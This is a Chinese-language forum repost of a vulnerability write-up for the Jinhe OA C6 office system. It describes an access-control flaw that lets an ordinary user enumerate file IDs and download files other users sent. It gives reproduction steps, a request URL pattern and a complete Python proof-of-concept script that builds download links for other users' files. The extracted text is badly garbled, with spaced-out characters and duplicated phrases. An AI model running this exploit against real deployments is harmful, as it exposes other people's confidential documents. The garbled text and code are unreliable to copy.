搜索

[20560] 2021-04-03_金和OAC6后台越权敏感文件遍历漏洞(没啥用的0day~)

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2021-04-03_金和OAC6后台越权敏感文件遍历漏洞(没啥用的0day~) 金 和 O A   C 6   后 台 越 权 敏 感 文 件 遍 历 漏 洞   ( 没 啥 用 的 0 d a y ~ ) K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 4 - 0 3 以 下 文 章 来 源 于 P e i Q i 文 库   ， 作 者 P e i Q i 文 库 一 一 ： 漏 洞 描 述 ： 漏 洞 描 述 金 和 金 和 O A   C 6   存 在 后 台 越 权 敏 感 文 件 遍 历 漏 洞 ， 普 通 用 户 通 过 遍 历 特 殊 参 数 可 以 获 取 其 他 用 户 上 传 的 敏 感 文 件 存 在 后 台 越 权 敏 感 文 件 遍 历 漏 洞 ， 普 通 用 户 通 过 遍 历 特 殊 参 数 可 以 获 取 其 他 用 户 上 传 的 敏 感 文 件 二 二 :     漏 洞 影 响 漏 洞 影 响 金 和 金 和 O A   C 6 三 三 :     漏 洞 复 现 漏 洞 复 现 登 录 后 点 击 信 息 交 流 ， 发 起 协 同 页 面 登 录 后 点 击 信 息 交 流 ， 发 起 协 同 页 面 上 传 附 件 并 上 传 发 送 给 目 标 上 传 附 件 并 上 传 发 送 给 目 标 这 里 登 录 权 限 为 管 理 员 ， 我 们 自 己 发 给 自 己 就 好 ， 前 文 只 是 展 现 漏 洞 挖 掘 思 路 过 程 这 里 登 录 权 限 为 管 理 员 ， 我 们 自 己 发 给 自 己 就 好 ， 前 文 只 是 展 现 漏 洞 挖 掘 思 路 过 程 P e i Q i 文 库 文 库   . 乌 拉 乌 拉 ！
成 功 收 到 上 传 的 附 件 成 功 收 到 上 传 的 附 件 点 击 查 看 时 抓 包 ， 发 现 一 个 带 有 文 件 点 击 查 看 时 抓 包 ， 发 现 一 个 带 有 文 件 I D 的 请 求 包 的 请 求 包 返 回 了 几 个 参 数 返 回 了 几 个 参 数 v a r   s t r F i l e P a t h   =   ' . . / R e s o u r c e / s l a v e s / 1 / 8 b 4 7 3 e c b - 7 b 3 9 - 4 3 8 4 - a d a 2 - b 0 e c 7 2 c 4 f 6 e d . p n g ' ; v a r   s t r F i l e T y p e   =   ' p n g ' ; v a r   s t r S i d = ' 3 j v p v h s 4 1 0 m 2 w d b b f i c a x 5 q 5 ' ; v a r   s t r F i l e I D C o d e = ' u s 9 w 7 x W E 7 d o = ' ; v a r   s t r I d   =   ' 1 2 2 9 ' ; v a r   s t r T x t R e g   =   ' t x t , i n i , x m l , c o n f i g , h t m , h t m l , j s , c s s , a s p , a s p x , j s p , c s , s q l , i n f , h t c , l o g ' ; v a r   s t r I m g R e g   =   ' j p g , g i f , j p e g , p n g , i c o ' ; v a r   M D   =   ' ' ;
其 中 我 们 注 意 到 其 中 我 们 注 意 到   s t r F i l e P a t h   为 文 件 的 存 储 地 址 ， 我 们 更 改 为 文 件 的 存 储 地 址 ， 我 们 更 改   i d 参 数 为 另 一 个 值 ， 且 测 试 后 发 现 参 数 为 另 一 个 值 ， 且 测 试 后 发 现   n a m e 文 件 名 参 数 无 关 紧 要 文 件 名 参 数 无 关 紧 要 更 改 更 改 I D 后 发 送 请 求 包 发 现 获 得 另 一 个 文 件 的 信 息 后 发 送 请 求 包 发 现 获 得 另 一 个 文 件 的 信 息 访 问 访 问 U r l ， 注 意 ， 注 意   t y p e 参 数 参 数     需 要 为 正 确 的 文 件 后 缀 才 可 以 访 问 需 要 为 正 确 的 文 件 后 缀 才 可 以 访 问 这 里 更 换 一 个 普 通 用 户 测 试 是 否 可 行 ， 尝 试 遍 历 这 里 更 换 一 个 普 通 用 户 测 试 是 否 可 行 ， 尝 试 遍 历   i d h t t p : / / x x x . x x x . x x x . x x x / C 6 / c o n t r o l / O p e n F i l e . a s p x ? i d = 1 2 0 0 & n a m e = & t y p e = p d f
存 在 存 在   s t r F i l e P a t h 参 数 参 数   则 是 存 在 文 件 ， 为 空 则 是 文 件 已 经 不 存 在 则 是 存 在 文 件 ， 为 空 则 是 文 件 已 经 不 存 在 同 时 抓 包 下 载 文 件 页 面 也 可 以 看 到 可 获 取 的 参 数 同 时 抓 包 下 载 文 件 页 面 也 可 以 看 到 可 获 取 的 参 数   F i l e I D   与 与   F i l e I D C o d e
于 是 只 需 要 通 过 刚 刚 的 于 是 只 需 要 通 过 刚 刚 的 I D 遍 历 ， 获 取 两 个 关 键 参 数 就 能 下 载 其 他 人 发 送 的 敏 感 文 件 ， 且 只 需 要 普 通 用 户 权 限 遍 历 ， 获 取 两 个 关 键 参 数 就 能 下 载 其 他 人 发 送 的 敏 感 文 件 ， 且 只 需 要 普 通 用 户 权 限   四 四 :     漏 洞 漏 洞 P O C P O C 只 检 测 是 否 存 在 漏 洞 ， 且 漏 洞 存 在 于 后 台 需 要 登 录 运 行 后 访 问 链 接 即 可 下 载 文 件 i m p o r t   r e q u e s t s i m p o r t   s y s i m p o r t   r a n d o m i m p o r t   r e i m p o r t   b a s e 6 4 i m p o r t   t i m e f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d e f   t i t l e ( ) :         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' +     0 3 3 [ 3 4 m P O C _ D e s :   h t t p : / / w i k i . p e i q i . t e c h                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m G i t h u b   :   h t t p s : / / g i t h u b . c o m / P e i Q i 0                                                                   0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m 公 众 号     :   P e i Q i 文 库                                                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m V e r s i o n :   金 和 O A   C 6                                                                                                     0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m 使 用 格 式 :     p y t h o n 3   p o c . p y                                                                                         0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m U r l                   > > >   h t t p : / / x x x . x x x . x x x . x x x                                                           0 3 3 [ 0 m ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' ) d e f   P O C _ 1 ( t a r g e t _ u r l ,   f i l e _ i d ,   c o o k i e ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / C 6 / c o n t r o l / O p e n F i l e . a s p x ? i d = { } & n a m e = & t y p e = p d f " . f o r m a t ( f i l e _ i d )         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,                 " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ,                 " C o o k i e " : c o o k i e         }         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l = v u l n _ u r l ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]   正 在 请 求   U r l :   { } 0 3 3 [ 0 m " . f o r m a t ( v u l n _ u r l ) )                 i f   " s t r F i l e P a t h   = "   i n   r e s p o n s e . t e x t   a n d   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0 :                         s t r F i l e P a t h   =   r e . f i n d a l l ( r " v a r   s t r F i l e P a t h   =   ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s t r F i l e T y p e   =   s t r F i l e P a t h [ - 3 : ]                         s t r F i l e I D C o d e   =   r e . f i n d a l l ( r " v a r   s t r F i l e I D C o d e = ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s t r I d   =   r e . f i n d a l l ( r " v a r   s t r I d   =   ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s i d   =   r e . f i n d a l l ( r ' A S P . N E T _ S e s s i o n I d = ( . * ? ) ; ' ,   c o o k i e ) [ 0 ]                         i f   s t r F i l e P a t h   ! =   " " :                                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]   目 标   { }   存 在 漏 洞 ,   获 取 文 件 信 息 : n [ o ]   文 件 路 径 ： { } n [ o ]   文 件 类 型 ： { } n [ o ]   文 件 I D   c o d e ： { } n [ o ]   文 件 编 号 ： { } 0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ,   s t r F i l e P a t h ,   s t r F i l e T y p e , s t r F i l e I D C o d e ,   s t r I d   ) )                                 p r i n t ( " 0 3 3 [ 3 2 m [ o ]   文 件 下 载 链 接 为 :   { } / C 6 / J H S o f t . W e b . C u s t o m Q u e r y / u p l o a d F i l e D o w n L o a d . a s p x ? D e c r y p t = & F i l e I D = { } & F i l e I D C o d e = { } & s i d = { } " . f o r m a t ( t a r g e t _ u r l ,   s t r I d ,   s t r F i l e I D C o d e ,   s i d ) )                         e l s e :                                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]   目 标   { }   文 件 不 存 在           0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 1 m [ x ]   目 标   { }   不 存 在 漏 洞           0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]   请 求 失 败   0 3 3 [ 0 m " ,   e ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t i t l e ( )         t a r g e t _ u r l   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m P l e a s e   i n p u t   A t t a c k   U r l n U r l   > > >   0 3 3 [ 0 m " ) )         f i l e _ i d   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m F i l e _ i d   > > >   0 3 3 [ 0 m " ) )         c o o k i e   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m C o o k i e     > > >   0 3 3 [ 0 m " ) )         P O C _ 1 ( t a r g e t _ u r l ,   f i l e _ i d ,   c o o k i e )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理